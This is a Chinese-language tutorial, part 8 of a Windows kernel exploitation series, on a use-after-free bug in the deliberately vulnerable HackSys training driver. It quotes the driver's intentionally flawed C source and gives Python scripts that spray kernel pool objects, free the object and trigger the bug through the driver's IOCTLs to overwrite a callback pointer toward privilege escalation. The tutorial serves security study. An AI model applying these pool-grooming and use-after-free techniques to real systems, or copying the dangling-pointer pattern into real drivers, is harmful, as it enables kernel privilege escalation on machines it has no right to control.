Windows内核漏洞利用教程Part8:释放重引用

Author Avatar
leo00000 7月 04, 2018

Windows内核漏洞系列教程。

前言

part7中介绍了未初始化堆变量漏洞。在这一篇文章中我们要介绍释放重引用漏洞(use after free),就像漏洞类型描述的一样,通过重新调用一个过时的指针(已经被释放过了),会执行我们在内存中重新布置的一些恶意代码。

漏洞分析

我们看一下UseAfterFree.c文件中的几个重要:

NTSTATUS AllocateUaFObject() {
    NTSTATUS Status = STATUS_SUCCESS;
    PUSE_AFTER_FREE UseAfterFree = NULL;

    PAGED_CODE();

    __try {
        DbgPrint("[+] Allocating UaF Object\n");

        // Allocate Pool chunk
        UseAfterFree = (PUSE_AFTER_FREE)ExAllocatePoolWithTag(NonPagedPool,
            sizeof(USE_AFTER_FREE),
            (ULONG)POOL_TAG);

        if (!UseAfterFree) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(USE_AFTER_FREE));
            DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);
        }

        // Fill the buffer with ASCII 'A'
        RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);

        // Null terminate the char buffer
        UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0';

        // Set the object Callback function
        UseAfterFree->Callback = &UaFObjectCallback;

        // Assign the address of UseAfterFree to a global variable
        g_UseAfterFreeObject = UseAfterFree;

        DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);
        DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
        DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

AllocateUaFObject()函数分配了一个非分页池块(Nonpaged pool chunk),将buffer用”A”填充,以’\x00’字符结尾,对callback指针赋值,并将池块保存在一个全局指针。

NTSTATUS FreeUaFObject() {
    NTSTATUS Status = STATUS_UNSUCCESSFUL;

    PAGED_CODE();

    __try {
        if (g_UseAfterFreeObject) {
            DbgPrint("[+] Freeing UaF Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObject);

#ifdef SECURE
            // Secure Note: This is secure because the developer is setting
            // 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
            ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);

            g_UseAfterFreeObject = NULL;
#else
            // Vulnerability Note: This is a vanilla Use After Free vulnerability
            // because the developer is not setting 'g_UseAfterFreeObject' to NULL.
            // Hence, g_UseAfterFreeObject still holds the reference to stale pointer
            // (dangling pointer)
            ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
#endif

            Status = STATUS_SUCCESS;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

FreeUaFObject()函数用来释放分配的池块,在安全标记的代码中会将释放掉的块指针置为NULL。在存在漏洞的代码中未将块指针处理,就会导致一个悬挂的指针,这在程序中是很危险的。

NTSTATUS UseUaFObject() {
    NTSTATUS Status = STATUS_UNSUCCESSFUL;

    PAGED_CODE();

    __try {
        if (g_UseAfterFreeObject) {
            DbgPrint("[+] Using UaF Object\n");
            DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
            DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
            DbgPrint("[+] Calling Callback\n");

            if (g_UseAfterFreeObject->Callback) {
                g_UseAfterFreeObject->Callback();
            }

            Status = STATUS_SUCCESS;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}
UseUafObject()会调用块结构中的callback方法。

UseUafObject()判断块指针是否为空,当指针不为空调用块结构中的callback方法。

NTSTATUS AllocateFakeObject(IN PFAKE_OBJECT UserFakeObject) {
    NTSTATUS Status = STATUS_SUCCESS;
    PFAKE_OBJECT KernelFakeObject = NULL;

    PAGED_CODE();

    __try {
        DbgPrint("[+] Creating Fake Object\n");

        // Allocate Pool chunk
        KernelFakeObject = (PFAKE_OBJECT)ExAllocatePoolWithTag(NonPagedPool,
            sizeof(FAKE_OBJECT),
            (ULONG)POOL_TAG);

        if (!KernelFakeObject) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(FAKE_OBJECT));
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject);
        }

        // Verify if the buffer resides in user mode
        ProbeForRead((PVOID)UserFakeObject, sizeof(FAKE_OBJECT), (ULONG)__alignof(FAKE_OBJECT));

        // Copy the Fake structure to Pool chunk
        RtlCopyMemory((PVOID)KernelFakeObject, (PVOID)UserFakeObject, sizeof(FAKE_OBJECT));

        // Null terminate the char buffer
        KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';

        DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

AllocateFakeObject函数在内核中分配一个分页池块,并将用户态对象拷贝到内核对象中。

漏洞利用

part4中我们小结过UAF的通常思路的四个步骤,我们先计算出各个IOCTLs,看一下上面的函数运行情况:

然后执行下面的步骤:

  • 申请UaFObject内核对象
  • 释放UaFObject对象
  • 分配fake UaFObject对象覆盖原来的UaFObject对象,其中内置我们的shellcode指针,让callback指向shellcode
  • 调用悬挂的危险指针,执行callback方法

现在问题在第三步,如何用fake UaFObject覆盖到UaFObject,看UseAfterFree.h文件:

    typedef struct _USE_AFTER_FREE {
        FunctionPointer Callback;
        CHAR Buffer[0x54];
    } USE_AFTER_FREE, *PUSE_AFTER_FREE;

    typedef struct _FAKE_OBJECT {
        CHAR Buffer[0x58];
    } FAKE_OBJECT, *PFAKE_OBJECT;

两种对象的大小是一样的,为我们覆盖UaFObject对象提供了可能。想要达到目的,我们可以参考Tarjei Mandt的论文,论文中使用 IoCompletionReserve对象布局非分页池,大小为0x60,利用NtAllocateReserveObject API可以喷射IoCompletionReserve对象。
使用我们的模板脚本测试NtAllocateReserverObject API:

import ctypes, sys, struct
from ctypes import *
from ctypes.wintypes import *
from subprocess import *

def main():
    kernel32 = windll.kernel32
    psapi = windll.Psapi
    ntdll = windll.ntdll
    spray_event1 = spray_event2 = []
    hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

    if not hevDevice or hevDevice == -1:
        print "*** Couldn't get Device Driver handle"
        sys.exit(-1)

    for i in xrange(10000):
        spray_event1.append(ntdll.NtAllocateReserveObject(byref(HANDLE(0)), 0, 1))
    print "\t[+] Sprayed 10000 objects."

    for i in xrange(5000):
        spray_event2.append(ntdll.NtAllocateReserveObject(byref(HANDLE(0)), 0, 1))
    print "\t[+] Sprayed 5000 objects."

    print "\n[+] Creating holes in the sprayed region..."

    for i in xrange(0, len(spray_event2), 2):
        kernel32.CloseHandle(spray_event2[i])

if __name__ == "__main__":
    main()

可以看到分配15000个IoCo对象仍然正常运行,并且IoCo对象已经分配到了Hack附近。我们创将15000个对象布局成pool hole模型,然后在hole申请释放UaFObject对象,我们喷射fake UaFObject可以稳定覆盖UaFObject对象。

import ctypes, sys, struct
from ctypes import *
from ctypes.wintypes import *
from subprocess import *

def main():
    kernel32 = windll.kernel32
    psapi = windll.Psapi
    ntdll = windll.ntdll
    spray_event1 = spray_event2 = []
    hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

    if not hevDevice or hevDevice == -1:
        print "*** Couldn't get Device Driver handle"
        sys.exit(-1)

    for i in xrange(10000):
        spray_event1.append(ntdll.NtAllocateReserveObject(byref(HANDLE(0)), 0, 1))
    print "\t[+] Sprayed 10000 objects."

    for i in xrange(5000):
        spray_event2.append(ntdll.NtAllocateReserveObject(byref(HANDLE(0)), 0, 1))
    print "\t[+] Sprayed 5000 objects."

    print "\n[+] Creating holes in the sprayed region..."

    for i in xrange(0, len(spray_event2), 2):
        kernel32.CloseHandle(spray_event2[i])

    print "\n[+] Allocating UAF Objects..."
    kernel32.DeviceIoControl(hevDevice, 0x222013, None, None, None, 0, byref(c_ulong()), None)

    print "\n[+] Freeing UAF Objects..."
    kernel32.DeviceIoControl(hevDevice, 0x22201B, None, None, None, 0, byref(c_ulong()), None)

    print "\n[+] Allocating Fake Objects..."
    fake_obj = "\x41" * 0x60
    for i in xrange(5000):
        kernel32.DeviceIoControl(hevDevice, 0x22201F, fake_obj, len(fake_obj), None, 0, byref(c_ulong()), None)

    print "\n[+] Triggering UAF..."
    kernel32.DeviceIoControl(hevDevice, 0x222017, None, None, None, 0, byref(c_ulong()), None)

if __name__ == "__main__":
    main()

可以看到我们已经稳定覆盖掉了callback指针。
接下来使用之前的shellcode,构造完整的EXP:

最终获得系统管理员权限。